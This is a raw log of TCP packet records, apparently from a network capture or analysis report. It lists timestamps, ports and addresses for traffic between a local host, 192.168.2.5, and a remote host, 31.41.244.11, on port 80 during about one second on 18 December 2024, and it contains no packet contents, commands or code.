Dec 18, 2024 19:08:21.515319109 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.575159073 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.575172901 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.575215101 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.575246096 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.577526093 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.577577114 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.577641010 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.577682972 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.586144924 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.586189032 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.586216927 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.586256981 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.594490051 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.594535112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.594575882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.594826937 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.602933884 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.602987051 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.603017092 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.603055954 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.611447096 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.611501932 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.611793995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.611839056 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.619898081 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.620011091 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.620135069 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.620182991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.628400087 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.628509998 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.628582954 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.628644943 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.636841059 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.636909008 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.637037992 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.637073994 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.644526958 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.644594908 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.644711971 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.644748926 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.652162075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.652235031 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.652313948 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.652349949 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.659969091 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.660016060 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.660068035 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.667634964 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.667716980 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.767591953 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.767685890 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.767792940 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.767792940 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.768776894 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.768817902 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.768889904 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.768943071 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.773221016 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.773281097 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.773315907 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.773353100 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.777606010 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.777662992 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.777827978 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.777873039 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.781999111 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.782049894 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.782097101 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.782135010 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.786324978 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.786374092 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.786425114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.786467075 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.790726900 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.790776968 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.790821075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.790857077 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.794913054 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.794964075 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.794997931 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.795039892 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.799254894 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.799276114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.799309969 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.799359083 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.803380013 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.803428888 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.803463936 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.803502083 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.807559013 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.807625055 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.807665110 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.807704926 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.811808109 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.811866045 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.811914921 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.811954975 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.816135883 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.816190958 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.816224098 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.816270113 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.820223093 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.820290089 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.820333958 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.820384979 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.824523926 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.824592113 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.824626923 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.824667931 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.828737020 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.828797102 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.828840017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.828880072 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.832884073 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.832936049 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.832979918 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.833024025 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.837135077 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.837177992 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.837224007 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.837258101 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.841305017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.841348886 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.841485977 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.841541052 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.845520020 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.845567942 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.845773935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.845814943 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.849769115 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.849822044 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.849898100 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.849936962 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.853960037 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.854018927 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.854054928 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.854095936 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.858289957 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.858328104 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.858436108 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.858474016 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.862494946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.862546921 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.862632990 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.862673998 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.867077112 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.867135048 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.959692001 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.959724903 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.959744930 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.959767103 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.960608959 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.960663080 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.960699081 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.960736990 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.963908911 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.963962078 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.964010000 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.964047909 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.967617035 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.967667103 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.967751980 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.967789888 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.970493078 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.970545053 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.970583916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.970623016 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.974050045 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.974097967 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.974126101 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.974168062 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.977224112 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.977267027 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.977440119 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.977571011 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.980119944 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.980168104 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.980197906 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.980242014 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.983395100 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.983436108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.983477116 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.983515024 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.986506939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.986558914 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.986682892 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.986726046 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.989789963 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.989834070 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.989978075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.990017891 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.992928028 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.992981911 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.993067026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.993103027 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.996150970 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.996196032 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.996284962 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.996320963 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.999568939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.999614000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:21.999680042 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:21.999718904 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.002669096 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.002708912 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.002810001 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.002851009 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.005784988 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.005829096 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.005951881 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.005989075 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.008918047 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.008964062 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.009121895 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.009160995 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.012142897 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.012190104 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.012219906 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.012258053 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.015425920 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.015476942 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.015553951 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.015588045 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.018383980 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.018429041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.018520117 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.018560886 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.021011114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.021064997 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.021141052 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.021182060 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.023824930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.023869991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.023901939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.023942947 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.026663065 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.026705980 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.026864052 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.026901960 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.029541969 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.029587030 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.029668093 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.029707909 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.032394886 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.032439947 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.032465935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.032502890 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.035223007 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.035263062 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.035443068 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.035480022 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.038160086 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.038204908 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.038260937 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.038300991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.040929079 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.040987968 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.041104078 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.041141033 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.043838978 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.043888092 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.043919086 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.043956041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.047070980 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.047112942 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.047219992 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.047256947 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.050060034 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.050100088 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.050210953 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.050252914 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.052624941 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.052668095 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.052692890 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.052730083 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.055176973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.055221081 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.055258036 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.055294991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.057929039 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.057971954 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.058067083 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.058105946 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.060734034 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.060789108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.060847044 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.060883999 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.063580036 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.063626051 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.063699961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.063746929 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.066550016 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.066600084 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.151890039 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.151964903 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.151988983 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.152030945 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.153008938 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.153048992 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.153740883 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.153765917 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.153781891 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.153805971 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.155838966 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.155888081 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.156021118 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.156064987 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.158205032 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.158253908 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.158304930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.158348083 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.160550117 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.160604000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.160636902 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.160675049 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.162802935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.162853956 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.162893057 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.162931919 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.165040016 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.165091038 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.165245056 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.165287971 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.167247057 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.167300940 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.167346954 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.167387962 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.169500113 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.169553041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.169580936 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.169812918 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.171596050 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.171657085 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.171726942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.171767950 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.173852921 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.173907042 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.174034119 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.174074888 CET	49723	80	192.168.2.5	31.41.244.11
